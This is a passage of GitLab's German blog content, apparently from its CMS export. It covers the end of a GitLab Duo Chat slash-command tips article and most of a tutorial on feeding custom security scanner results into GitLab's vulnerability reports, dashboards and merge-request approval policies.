in englischer Sprache verfügbar).\n- A2: Präzisiere den Prompt für gezieltere Aktionen, zum Beispiel mit objektorientierten Mustern: `/refactor into object-oriented classes with methods and attributes` (/refactor in objektorientierte Klassen mit Methoden und Attributen).\n\n![Chat-Prompt mit Slash-Befehl /refactor](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image35_aHR0cHM6_1750097645362.png)\n\n![Chat-Prompt mit präzisiertem Prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image30_aHR0cHM6_1750097645362.png)\n\n#### Tests generieren\n\n- F: Testbarer Code, aber das Schreiben von Tests dauert zu lange?\n- A: Verwende den Slash-Befehl [`/tests` in der IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#write-tests-in-the-ide) (nur in englischer Sprache verfügbar).\n- A2: Präzisiere den Prompt für bestimmte Test-Frameworks oder Testziele. Du kannst mit dem Prompt auch anweisen, dass der Fokus auf der Refaktorierung liegen soll, und dann Tests zu generieren: `/tests focus on refactoring the code into functions, and generate tests` (/tests mit Fokus auf das Refaktorieren des Codes in Funktionen und das Erstellen von Tests).\n\n![Chat-Prompt mit Slash-Befehl /tests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image29_aHR0cHM6_1750097645363.png)\n\n![Chat-Prompt mit präzisiertem Prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097645363.png)\n\nWeitere praktische Beispiele für vollständige Entwicklungsworkflows befinden sich in der Dokumentation [GitLab-Duo-Beispiele](https://docs.gitlab.com/ee/user/gitlab_duo_examples.html) (nur in englischer Sprache verfügbar).\n\n### 9. Präzisiere den Prompt für Slash-Befehle \n\nIn diesem Blogbeitrag findest du viele Tipps für verfeinerte Prompts. Sie gehören zu den Zutaten für eine bessere KI-basierte Workflow-Effizienz. Slash-Befehle sind nichts anderes und ermöglichen bessere Ergebnisse in GitLab Duo Chat.\n\nEin Kunde hat kürzlich gefragt: „Kann ich mit Codeerläuterungen mit `/explain` Kommentare im Code erstellen?“ Die Antwort lautet: Nein. Aber du kannst den Chat-Prompt verwenden, um Folgefragen zu stellen und eine Zusammenfassung in einem Code-Kommentarformat anzufordern. Dafür ist der Kontext der Sprache erforderlich. \n\nDas folgende Beispiel für den [Code für einen HTTP-Client in C++, der die Curl-Bibliothek verwendet](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/blob/5cc9bdd65ee8ee16c548bea0402c18f8209d4d06/chat/slash-commands/c++/cli.cpp) benötigt eine ausführlichere Dokumentation. Du kannst den `/explain`-Prompt verfeinern, wenn du präzisiertere Anweisungen gibst, um den Code zu erklären, indem du Codekommentare hinzufügst, und diese anschließend kopierst und in den Editor einfügst.\n\n> /explain add documentation, rewrite the code snippet (/explain Füge Dokumentation hinzu, ändere die Code-Schnipsel)\n\n![Chat-Prompt zum Hinzufügen der Dokumentation und zum Umschreiben von Code-Schnipeln und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image13_aHR0cHM6_1750097645363.png)\n\nAlternativ kannst du Chat über einen verfeinerten Prompt mit `/refactor` auffordern, den Quellcode zu refaktorisieren, und fehlende Code-Kommentare zu generieren.\n\n> /refactor add code comments and documentation (/refactor Füge Code-Kommentare und eine Dokumentation hinzu)\n\n![Chat-Prompt für die Refaktorisierung von Quellcode und Generierung von Code-Kommentaren](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image15_aHR0cHM6_1750097645364.png)\n\n### 10. Werde bei den Slash-Befehlen kreativ\n\nWenn der Chat-Prompt keine Antwort auf eine Frage zum Quellcode oder zur Programmiersprache kennt, kannst du dir die Slash-Befehle `/explain`, `/refactor` und `/tests` näher ansehen und prüfen, wie hilfreich sie in dem Kontext wären.\n\nIm folgenden Beispiel wird eine SQL-Abfragezeichenfolge in C++ in einer einzelnen Zeile erstellt. Um die Lesbarkeit zu verbessern und in Zukunft weitere Datenbankspalten hinzuzufügen, kann es hilfreich sein, die Formatierung in einen mehrzeiligen String zu ändern.\n\n> std::string sql = \"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, email TEXT NOT NULL)\";\n\nDu kannst GitLab Duo Chat zum Beispiel mit der folgenden Frage darum bitten:\n\n> How to create a string in C++ using multiple lines? (Wie erstelle ich einen String in C++ mit mehreren Zeilen?)\n\nChat kann mit einer Erklärung und einem optionalen Quellcode-Beispiel antworten. In diesem Zusammenhang könnte es die Frage so interpretieren, dass ein C++-String-Wert mit mehreren Zeilen erstellt wird, zum Beispiel mit dem Zeichen `\\n`, das einer Variablen zugewiesen ist. \n\nDie Anforderung ist allerdings, nur den geschriebenen Code und die Zuweisung der Variablenwerte in mehreren Zeilen zu formatieren. Der String-Wert selbst benötigt keine mehrzeilige String-Darstellung.\n\nEs gibt eine Alternative für zusätzlichen Kontext in VS Code und der Web IDE: Wähle den betreffenden Quellcode aus, klicke mit der rechten Maustaste und navigiere zu `GitLab Duo Chat > Refaktorisieren`. Das öffnet den Chat-Prompt und löst sofort die Code-Aufgabe `/refactor` aus.\n\nAllerdings kann es sein, dass die Code-Aufgabe nicht die erwarteten Ergebnisse hervorbringt. Das Refaktorisieren einer einzeiligen SQL-Zeichenfolge kann in vielerlei Hinsicht Bedeutung haben: Verwendung mehrerer Zeilen für die Lesbarkeit, Erstellung von Konstanten usw.\n\nMit Code-Aufgaben kannst du den Prompt verfeinern. Du kannst nach dem Befehl `/refactor` mehr Text hinzufügen und GitLab Duo Chat anweisen, einen bestimmten Code-Typ, Algorithmus oder ein Entwurfsmuster zu verwenden. \n\nVersuchen wir es noch einmal: Wähle den Quellcode aus, gehe zurück zu Chat und gib den folgenden Prompt ein, gefolgt von der `Eingabetaste`.\n\n> /refactor into a multi-line written string. Show different approaches for all C++ standards. (/refactor in einen mehrzeilig geschriebenen String. Zeige verschiedene Ansätze für alle C++-Standards.)\n\n![Chat-Prompt für die Refaktorisierung in einen mehrzeilig geschriebenen String und Antwort](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image17_aHR0cHM6_1750097645364.png)\n\n**Tipp:** Du kannst GitLab Duo Code Suggestions verwenden, um den Quellcode nach dem Refaktorisieren noch weiter zu optimieren, oder alternative Verfeinerungen des `/refactor`-Prompts nutzen.\n\n>/refactor into a multi-line written string, show different approaches (/refactor in einen mehrzeilig geschriebenen String. Zeige verschiedene Ansätze)\n>\n> /refactor into multi-line string, not using raw string literals (/refactor in einen mehrzeiligen String ohne Verwendung von rohen String-Literalen)\n>\n> /refactor into a multi-line written string. Make the table name parametrizable (/refactor in einen mehrzeilig geschriebenen String. Der Name der Tabelle muss parametrisierbar sein.)\n\nEin alternativer Ansatz mit dem Typ `stringstream` wird im [MR-Diff](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-coffee-chat/gitlab-duo-coffee-chat-2024-01-23/-/commit/7ea233138aed46d77e6ce0d930dd8e10560134eb#4ce01e4c84d4b62df8eed159c2db3768ad4ef8bf_33_35) dieses englischsprachigen Videos gezeigt: [GitLab Duo Coffee Chat: Refactor C++ functions into OOP classes for abstract database handling (GitLab Duo Coffee Chat: C++-Funktionen in OOP-Klassen umwandeln für abstrakte Datenbankverwaltung)](https://www.youtube.com/watch?v=Z9EJh0J9358).\n\n#### Sicherheitslücken erläutern\n\nDiese Methode funktioniert möglicherweise nicht in jedem Fall, aber über den Slash-Befehl `/explain` kann auch nach der Erläuterung von Sicherheitslücken gefragt werden. In diesem Beispiel enthält der [C-Code](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/blob/5a5f293dfbfac7222ca4013d8f9ce9b462e4cd3a/chat/slash-commands/c/vuln.c) mehrere Sicherheitslücken für strcpy()-Pufferüberläufe, global überschreibbare Dateiberechtigungen, Race-Condition-Angriffe und mehr.\n\n> /explain why this code has multiple vulnerabilities (/explain warum weit dieser Code mehrere Sicherheitslücken auf)\n\n![Chat-Prompt über mehrere Sicherheitslücken des Codes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image20_aHR0cHM6_1750097645365.png)\n\n#### C-Code in Rust refaktorisieren\n\nRust bietet Speichersicherheit. Mit dem Befehl `/refactor into Rust` kannst du Duo Chat dazu auffordern, den anfälligen [C-Code](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/blob/5a5f293dfbfac7222ca4013d8f9ce9b462e4cd3a/chat/slash-commands/c/vuln.c) in Rust zu refaktorisieren. Übe mit präzisierteren Prompts, um bessere Ergebnisse zu erzielen.\n\n> /refactor into Rust and use high level libraries (/refactor in Rust und verwende High-Level-Bibliotheken)\n\n![Chat-Prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097645366.png)\n\n### Shortcuts \n\nProbiere diese Shortcuts in deiner Umgebung aus und übe asynchron mithilfe von GitLab Duo Chat.\n\n1. Prüfe anfälligen Code aus CVEs und frage mit `/explain why is this code vulnerable` (/explain warum ist dieser Code anfällig) was er tut und wie er korrigiert werden kann. \n**Tipp:** Importiere Open-Source-Projekte in GitLab, um die Vorteile der Code-Erläuterung von GitLab Duo Chat zu nutzen.\n2. Versuche, den Code in neue Programmiersprachen zu refaktorisieren. Dies ist bei Legacy-Code-Migrationsplänen hilfreich.\n3. Du kannst auch versuchen, die Jenkins-Konfiguration in GitLab CI/CD zu refaktorisieren, indem du den Slash-Befehl `/refactor into GitLab CI/CD configuration` (/refactor in die GitLab CI/CD-Konfiguration) verwendest. \n\n### Unterhaltsame Übungen \n\nVersuche Chat dazu zu bringen, sich wie Clippy zu verhalten.\n![Chat-Prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image22_aHR0cHM6_1750097645366.png)\n\nFrage nach der Mission von GitLab: „Jede(r) kann etwas beitragen.”\n\n![Chat-Prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image33_aHR0cHM6_1750097645367.png)\n\n### Weitere Informationen\n\nEs gibt viele verschiedene Umgebungen und Herausforderungen. Wir haben die [Dokumentation von GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) mit weiteren praktischen Beispielen aktualisiert und einen neuen Abschnitt [GitLab-Duo-Beispiele](https://docs.gitlab.com/ee/user/gitlab_duo_examples.html) (Dokumentation nur in englischer Sprache verfügbar) mit detaillierten Einblicken in KI-basierte DevSecOps-Workflows, einschließlich Chat, hinzugefügt.\n\nDas Erlernen von GitLab Duo funktioniert am besten durch spielerische Herausforderungen und echten Produktionscode. Die neue Lernreihe GitLab Duo Coffee Chat wird sehr bald fortgesetzt. Bis dahin kannst du dir die englischsprachigen Aufnahmen in [dieser YouTube-Playlist](https://www.youtube.com/playlist?list=PL05JrBw4t0Kp5uj_JgQiSvHw1jQu0mSVZ) ansehen. Wenn du Kunde oder Kundin von GitLab bist und an einem GitLab Duo Coffee Chat teilnehmen möchtest, um gemeinsam zu lernen, dann melde dich in [diesem Planungs-Epic](https://gitlab.com/groups/gitlab-com/marketing/developer-relations/-/epics/476). \n\n> Möchtest du mit GitLab Duo Chat loslegen? [Starte noch heute deine kostenlose Testversion](https://about.gitlab.com/de-de/solutions/gitlab-duo-pro/sales/).\n",[679,767,746,745],{"slug":3344,"featured":92,"template":682},"10-best-practices-for-using-ai-powered-gitlab-duo-chat","content:de-de:blog:10-best-practices-for-using-ai-powered-gitlab-duo-chat.yml","10 Best Practices For Using Ai Powered Gitlab Duo Chat","de-de/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat.yml","de-de/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat",{"_path":3350,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3351,"content":3357,"config":3362,"_id":3364,"_type":16,"title":3365,"_source":17,"_file":3366,"_stem":3367,"_extension":20},"/de-de/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"title":3352,"description":3353,"ogTitle":3352,"ogDescription":3353,"noIndex":6,"ogImage":3354,"ogUrl":3355,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3355,"schema":3356},"So integrierst du benutzerdefinierte Sicherheitsscanner in GitLab","Erfahre, wie du die DevSecOps-Plattform erweiterst, indem du benutzerdefinierte Sicherheitsscanner in deine Workflows einfügst (einschließlich Tutorial).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097082/Blog/Hero%20Images/Blog/Hero%20Images/securitycheck_securitycheck.png_1750097081856.png","https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"So integrierst du benutzerdefinierte Sicherheitsscanner in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-02-27\",\n      }",{"title":3352,"description":3353,"authors":3358,"heroImage":3354,"date":3359,"body":3360,"category":765,"tags":3361,"updatedDate":1401},[762],"2024-02-27","GitLab, die umfassendste DevSecOps-Plattform, bietet alles, was du zum Planen, Verwalten, Erstellen, Bereitstellen, Sichern, Steuern und Überwachen deiner Anwendungen brauchst. Dennoch gibt es Fälle, in denen du GitLab mit Tools von Drittanbietern oder eigenen Tools erweitern möchtest. Du musst zum Beispiel von separaten Lösungen auf eine DevSecOps-Plattform migrieren, Tools von Drittanbietern evaluieren oder eigene oder selbst entwickelte Lösungen in GitLab integrieren.\n\n## Folgende Themen werden hier behandelt\n\n- [Erweiterbarkeit der DevSecOps-Plattform von GitLab](#erweiterbarkeit-der-devsecops-plattform-von-gitlab)\n- [Die GitLab-Sicherheitsscanner-Integration](#die-gitlab-sicherheitsscanner-integration)\n - [Sicherheitswidget für Merge Requests](#sicherheitswidget-für-merge-requests)\n - [Pipeline-Sicherheitsbereich](#pipeline-sicherheitsbereich)\n - [Sicherheitslückenbericht](#sicherheitslückenbericht)\n - [Sicherheitslückenseiten](#sicherheitslückenseiten)\n - [Sicherheitsdashboard](#sicherheitsdashboard)\n - [Merge-Request-Approvalrichtlinien-Integration](#merge-request-approvalrichtlinien-integration)\n- [Tutorial: Integration von benutzerdefinierten Sicherheitsscannern](#tutorial-integration-von-benutzerdefinierten-sicherheitsscannern)\n - [Erstellen eines benutzerdefinierten Sicherheitsscanners](#erstellen-eines-benutzerdefinierten-sicherheitsscanners)\n - [Integrieren eines benutzerdefinierten Sicherheitsscanners in GitLab](#integrieren-eines-benutzerdefinierten-sicherheitsscanners-in-gitlab)\n- [Mehr erfahren](#mehr-erfahren)\n\n## Erweiterbarkeit der DevSecOps-Plattform von GitLab\n\nGitLab kann auf viele Arten erweitert werden, um erweiterte Funktionen zu unterstützen, die dein Unternehmen benötigt. Einige gängige Beispiele für diese Integrationen sind:\n\n- externe Anwendungsintegrationen wie Jenkins und Slack\n- externe Integrationen zur Ticketverfolgung wie Bugzilla und Jira\n- externe Integrationen von Authentifizierungsanbietern wie LDAP und SAML\n- externe Integrationen von Sicherheitsscannern wie Fortify und Checkmarx\n- die Möglichkeit, auf durchgesickerte Geheimnisse zu reagieren wie AWS- und GCP-Zugriffsschlüssel\n\nAlle verfügbaren Integrationen findest du in der [Dokumentation zur Integration mit GitLab (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/integration/). (Hinweis: Es sind nicht alle Integrationen in der Dokumentation aufgeführt.)\n\n## Die GitLab-Sicherheitsscanner-Integration\n\n[Sicherheitsscanner von Drittanbietern](https://docs.gitlab.com/ee/integration/#security-improvements) oder [benutzerdefinierte Sicherheitsscanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration) können in GitLab integriert werden, um das Widget für Merge Requests, den Pipeline-Sicherheitsbereich, den Sicherheitslückenbericht, die Sicherheitslückenseiten, das Sicherheitsdashboard und die Merge-Request-Approvalrichtlinien zu füllen. Sehen wir uns die einzelnen Integrationen an.\n\n### Sicherheitswidget für Merge Requests\n\nEin Merge Request enthält ein Sicherheitswidget, das eine Zusammenfassung der neu entdeckten Sicherheitslücken anzeigt.\n\n![Integration von Sicherheitsscannern – Bild 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097088837.png)\n\n\u003Ccenter>\u003Ci>Sicherheitswidget für Merge Requests\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nWenn du auf eine Sicherheitslücke klickst, wird ein Popup-Fenster angezeigt, das folgende Informationen enthält:\n- Status\n- Beschreibung\n- Projekt\n- Datei\n- Bezeichner\n- Schweregrad\n- Tool\n- Scanner-Anbieter\n\n![Integration von Sicherheitsscannern – Bild 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097088838.png)\n\n\u003Ccenter>\u003Ci>Sicherheitslücken mit Details, die behoben werden können\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p> \n\nBei diesen Sicherheitslücken kann auch reagiert werden, d. h., du kannst sie entweder ignorieren oder ein vertrauliches Ticket dafür erstellen.\n\nDie Ergebnisse eines benutzerdefinierten Scanners können in das Sicherheitswidget eingefügt werden. Die Daten zu den Sicherheitslücken werden aus dem JSON-Schema, das der Scanner ausgibt, zusammengesetzt.\n\n### Pipeline-Sicherheitsbereich\n\nAlle aktivierten Sicherheitsanalysatoren werden in der Pipeline ausgeführt und geben ihre Ergebnisse als Artefakte aus. Diese Artefakte werden verarbeitet, unter anderem durch Deduplizierung, und die Ergebnisse werden auf der Registerkarte „Pipelinesicherheit“ aufgelistet. Von hier aus kannst du auch die resultierenden JSON-Dateien herunterladen.\n\n![Integration von Sicherheitsscannern – Bild 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097088840.png)\n\n\u003Ccenter>\u003Ci>Registerkarte „Pipelinesicherheit“\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDie Ergebnisse eines benutzerdefinierten Scanners können in die Registerkarte „Pipelinesicherheit“ eingefügt werden. Die Spalten werden anhand des JSON-Schemas, das der Scanner ausgibt, ausgefüllt.\n\n### Sicherheitslückenbericht\n\nDer Sicherheitslückenbericht enthält Informationen zu Sicherheitslücken aus Scans des default-Branch, einschließlich:\n\n- der Gesamtanzahl der Sicherheitslücken pro Schweregrad\n- Filtern für gängige Attribute für Sicherheitslücken\n- Details zu jeder Sicherheitslücke in einer Tabelle\n\n![Integration von Sicherheitsscannern – Bild 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097088842.png)\n\n\u003Ccenter>\u003Ci>Sicherheitslückenbericht\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDie Ergebnisse eines benutzerdefinierten Scanners für den default-Branch können für den Sicherheitslückenbericht verwendet werden.\n\n### Sicherheitslückenseiten\n\nWenn du im Sicherheitslückenbericht auf eine Sicherheitslücke klickst, gelangst du zur Sicherheitslückenseite. Für jede Sicherheitslücke in einem Projekt gibt es eine Seite, auf der du Details findest, z. B:\n\n- Beschreibung\n- Wann sie erkannt wurde\n- Aktueller Status\n- Wo sie erkannt wurde\n- Verfügbare Aktionen\n- Verknüpfte Tickets\n- Aktionsprotokoll\n- Lösungen\n- Bezeichner\n- Training\n\nDu kannst die Daten auf der Seite mit den Sicherheitslücken nutzen, um eine entdeckte Sicherheitslücke einzugrenzen und sie zu beheben.\n\n![Integration von Sicherheitsscannern – Bild 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097088844.png)\n\n\u003Ccenter>\u003Ci>Sicherheitslückenseite für Sicherheitslücken, bei denen Geheimnisse erkannt wurden\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDie Ergebnisse eines benutzerdefinierten Scanners können in die Sicherheitslückenseite eingefügt werden. Die Daten zu den Sicherheitslücken werden aus dem JSON-Schema, das der Scanner ausgibt, zusammengesetzt.\n\n### Sicherheitsdashboard\n\nSicherheitsdashboards werden verwendet, um den Sicherheitsstatus deiner Anwendungen zu bewerten. GitLab stellt dir eine Sammlung von Metriken, Bewertungen und Diagrammen für die Sicherheitslücken zur Verfügung, die von den Sicherheitsscannern in deinem Projekt entdeckt wurden. Das Sicherheitsdashboard liefert Daten wie:\n\n- Trends bei Sicherheitslücken über einen Zeitraum von 30, 60 oder 90 Tagen für alle Projekte in einer Gruppe\n- Eine Bewertung in Buchstaben für jedes Projekt, basierend auf dem Schweregrad der Sicherheitslücke\n- Die Gesamtzahl der in den letzten 365 Tagen entdeckten Sicherheitslücken und deren Schweregrad\n\n![Integration von Sicherheitsscannern – Bild 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097088846.png)\n\n\u003Ccenter>\u003Ci>Sicherheitsdashboard auf Gruppenebene\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nIm Sicherheitsdashboard auf Gruppenebene kannst du auf ein Projekt klicken, um auf das spezifische Sicherheitsdashboard zuzugreifen. So erhältst du die 365-Tage-Ansicht.\n\n![Integration von Sicherheitsscannern – Bild 7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097088847.png)\n\n\u003Ccenter>\u003Ci>Sicherheitsdashboard auf Projektebene\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n### Merge-Request-Approvalrichtlinien-Integration\n\nMerge-Request-Approvalrichtlinien werden verwendet, um eine Genehmigung auf der Grundlage der Ergebnisse eines oder mehrerer Sicherheitsscanaufträge zu verlangen. Dies kann verhindern, dass unsicherer Code in die Produktion übernommen wird. Merge-Request-Approvalrichtlinien werden nach der vollständigen Ausführung eines CI-Scanauftrags ausgewertet, wobei die Richtlinien auf der Grundlage der Job-Artefaktberichte, die in der abgeschlossenen Pipeline veröffentlicht werden, bewertet werden.\n\nDu kannst beispielsweise eine Richtlinie für Merge-Request-Approvalrichtlinien erstellen, die die Genehmigung von Projektbetreuer(inne)n erfordert, wenn ein Scanner zur Erkennung von Geheimnissen Sicherheitslücken findet. Das geht so:\n\n1. Wähle in der linken Seitenleiste **Suchen oder aufrufen** aus und suche nach dem Projekt, dem du eine Richtlinie hinzufügen möchtest.\n2. Gehe in der linken Seitenleiste des Projekts zu **Sicherheit > Richtlinien**.\n3. Wähle **Neue Richtlinie** aus.\n4. Wähle im Abschnitt **Merge-Request-Approvalrichtlinien** **Richtlinie auswählen** aus.\n5. Fülle die Felder aus:\n- Name: der Name der Richtlinie\n- Beschreibung: die Beschreibung der Richtlinie\n- Richtlinienstatus: ob sie aktiviert ist oder nicht\n- Regeln: die Bedingungen, die erfüllt sein müssen, damit eine Aktion (Approval erforderlich) ausgeführt wird\n\n![Integration von Sicherheitsscannern – Bild 8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097088849.png)\n\u003Ccenter>\u003Ci>Regeln für Merge-Request-Approvalrichtlinien\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Aktionen: die Aktion, die ausgeführt werden soll, wenn die Bedingungen in den Regeln (definierte Schwachstellen/erkannte Lizenzen) erfüllt sind\n\n![Integration von Sicherheitsscannern – Bild 9](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097088850.png)\n\n\u003Ccenter>\u003Ci>Aktionen für Merge-Request-Approvalrichtlinien\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Überschreiben von Projekt-Approvaleinstellungen: Wenn diese Option ausgewählt ist, überschreiben die folgenden Optionen die Projekteinstellungen. Dies wirkt sich jedoch nur auf die in der Richtlinie ausgewählten Branches aus.\n\n![Integration von Sicherheitsscannern – Bild 11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097088851.png)\n\n \u003Ccenter>\u003Ci>Einstellungen für Merge-Request-Approvalrichtlinien\u003C/i>\u003C/center>\n \u003Cp>\u003C/p>\n\n6. Klicke auf die Schaltfläche „Mit einem Merge Request konfigurieren“.\n\nSobald die Merge-Request-Approvalrichtlinie zusammengeführt wurde, wird die definierte Aktion ausgelöst, wenn du einen Merge Request erstellst und die in den Regeln definierten Kriterien erfüllt sind. In diesem Fall ist mindestens die Zustimmung einer Person erforderlich, bevor der Code zusammengeführt werden kann.\n\n![Integrierter Sicherheitsscanner – Bild 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097088852.png)\n\n\u003Ccenter>\u003Ci>Merge Request aufgrund erkannter Sicherheitslücken blockiert\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDie Ergebnisse eines benutzerdefinierten Scanners können vollständig in die Merge-Request-Approvalrichtlinien integriert werden. Wenn der benutzerdefinierte Scanner eine Sicherheitslücke entdeckt, ist ein Approval erforderlich, bevor der Code zusammengeführt werden kann. Der Scanner, den du in einer Merge-Request-Approvalrichtlinie auswählst, muss das entsprechende JSON-Schema verwenden.\n\n## Tutorial: Integration von benutzerdefinierten Sicherheitsscannern\n\nJetzt kommen wir zum spannenden Teil: der Integration eines benutzerdefinierten Sicherheitsscanners. In diesem Tutorial lernst du, wie du einen benutzerdefinierten Sicherheitsscanner erstellst und wie du ihn in GitLab integrierst. Wir werden die folgenden Projekte nutzen:\n\n- [Fern Pattern Scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner): Er durchsucht deine Dateien nach bestimmten Mustern wie Passwörtern, privaten Schlüsseln und Sozialversicherungsnummern.\n– [Secret List](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/secret-list): Enthält eine Liste von Benutzerpasswörtern, Clients und Schlüsseln. Dieses Projekt wird verwendet, um zu zeigen, wie ein benutzerdefinierter Sicherheitsscanner in GitLab integriert werden kann.\n\nIm folgenden Video kannst du dir ansehen, wie die Anwendung erstellt wurde und wie sie im Detail verwendet wird:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/timMbl5SP-w?si=R2DKtZ5MmBR1rQFL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Erstellen eines benutzerdefinierten Sicherheitsscanners\n\nJetzt erstellen wir einen benutzerdefinierten Scanner, der in GitLab integriert werden kann. Bevor ein benutzerdefinierter Scanner vollständig in GitLab integriert werden kann, muss der Scanner:\n- Ein Verzeichnis nach definierten Mustern scannen\n- Eine JSON-Datei nach dem entsprechenden Schema ausgeben\n- Containerisiert und zugänglich sein\n- Eine Vorlage bereitstellen, damit er in einem anderen Projekt ausgeführt werden kann\n\nWenn der [Fern Pattern Scanner](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration/fern-pattern-scanner) in einem Projekt mit der bereitgestellten Vorlage ausgeführt wird, führt er die folgenden Schritte aus:\n1. Er lädt einen Satz von Regeln, die Muster (Regex) definieren, die erkannt werden sollen.\n- Die Regeln können konfiguriert werden, um den sich ändernden Anforderungen deines Unternehmens gerecht zu werden.\n2. Er scannt Dateien auf definierte Muster.\n3. Er gibt einen JSON-Bericht aus, der dem Schema zur Erkennung von Geheimnissen folgt.\n- In diesem Projekt werden Go-Vorlagen verwendet, um eine JSON-Datei zu erstellen.\n- Stelle sicher, dass du das entsprechende Schema verwendest, je nachdem, wonach dein Scanner sucht.\n\nSobald der JSON-Bericht als Artefakt in GitLab geladen wurde, werden das Merge-Request-Widget, der Sicherheitslückenbericht, die Sicherheitslückenseiten, die Merge-Request-Approvalrichtlinien und die Sicherheitsdashboards wie oben definiert befüllt.\n\n### Integrieren eines benutzerdefinierten Sicherheitsscanners in GitLab\n\nSobald du deinen benutzerdefinierten Scanner erstellt hast, der alle Anforderungen für die Integration erfüllt, kannst du ihn in GitLab ausführen.\n\nDas Ausführen eines benutzerdefinierten Scanners ist so einfach wie das Hinzufügen einer Vorlage. Wir können sehen, wie die Vorlage für den Fern Pattern Scanner geladen wird, indem wir uns die Datei `.gitlab-ci.yml` im Projekt [Secret List](https://gitlab.com/gitlab-da/tutorials/security-and-governance/custom-scanner-integration/secret-list) ansehen.\n\n1. Erstelle eine [.gitlab-ci.yml-Datei (Anleitung nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/ci/quick_start/#create-a-gitlab-ciyml-file) in dem Projekt, in dem du den Scanner ausführen möchtest.\n2. Füge die [Vorlage für einen benutzerdefinierten Scanner](https://docs.gitlab.com/ee/ci/yaml/includes.html) hinzu.\n    - Du solltest die Vorlage auch mit Umgebungsvariablen konfigurieren können.\n3. Committe die Datei in den Main-Branch.\n\nSobald die Datei übergeben wurde, kannst du sehen, dass der benutzerdefinierte Scanner in 